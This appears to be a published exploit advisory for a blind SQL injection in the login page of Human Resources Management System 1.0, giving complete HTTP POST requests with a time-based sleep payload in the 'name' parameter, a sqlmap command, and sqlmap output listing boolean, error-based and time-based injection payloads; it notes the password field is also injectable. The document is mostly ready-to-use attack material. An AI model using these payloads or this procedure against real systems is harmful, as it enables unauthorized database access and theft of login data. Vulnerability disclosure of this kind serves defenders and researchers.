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Human Resources Management System 1.0 SQL Injection
Human Resources Management System version 1.0 suffers from a remote SQL injection vulnerability.
# Exploit Title: Human Resources Management System - HRM - Multiple SQLi# Date: 16/03/2023# Exploit Author: Abdulhakim Öner# Vendor Homepage: https://www.sourcecodester.com# Software Link: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html# Software Download: https://www.sourcecodester.com/sites/default/files/download/oretnom23/hrm.zip# Version: 1.0# Tested on: Windows## Description A Blind SQL injection vulnerability in the login page (/hrm/controller/login.php) in Human Resources Management System allows remote unauthenticated attackers to execute remote command through arbitrary SQL commands by "name" parameter. ## Request PoC```POST /hrm/controller/login.php HTTP/1.1Host: 192.168.1.103Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.1.103/hrm/Content-Type: application/x-www-form-urlencodedContent-Length: [email protected]'&password=test&submit=Sign+In```This request causes an error. Adding "'%2b(select*from(select(sleep(20)))a)%2b'" to the end of "name" parameter, the response to request was 302 status code with message of Found, but 20 seconds later, which indicates that our sleep 20 command works. ```POST /hrm/controller/login.php HTTP/1.1Host: 192.168.1.103Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36Connection: closeCache-Control: max-age=0Referer: http://192.168.1.103/hrm/Content-Type: application/x-www-form-urlencodedContent-Length: [email protected]'%2b(select*from(select(sleep(20)))a)%2b'&password=test&submit=Sign+In```## Exploit with sqlmapSave the request from burp to file ```┌──(root㉿caesar)-[/home/kali/Workstation/hrm]└─# sqlmap -r sqli.txt -p 'name' --batch --dbs --level=3 --risk=2---snip----[15:49:36] [INFO] testing 'MySQL UNION query (89) - 81 to 100 columns'POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] Nsqlmap identified the following injection point(s) with a total of 838 HTTP(s) requests:---Parameter: name (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: [email protected]' AND 3287=(SELECT (CASE WHEN (3287=3287) THEN 3287 ELSE (SELECT 8737 UNION SELECT 2671) END))-- -&password=a5P!s3v!K8&submit=Sign In Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: [email protected]' OR (SELECT 6958 FROM(SELECT COUNT(*),CONCAT(0x717a766b71,(SELECT (ELT(6958=6958,1))),0x716b786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VHwA&password=a5P!s3v!K8&submit=Sign In Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: [email protected]' AND (SELECT 1760 FROM (SELECT(SLEEP(5)))LTmV)-- fhJt&password=a5P!s3v!K8&submit=Sign In---[15:49:36] [INFO] the back-end DBMS is MySQLweb application technology: PHP 8.2.0, Apache 2.4.54, PHP----snip----```## The "password" parameter in the POST request is also vulnerable. It can be exploited in the same way.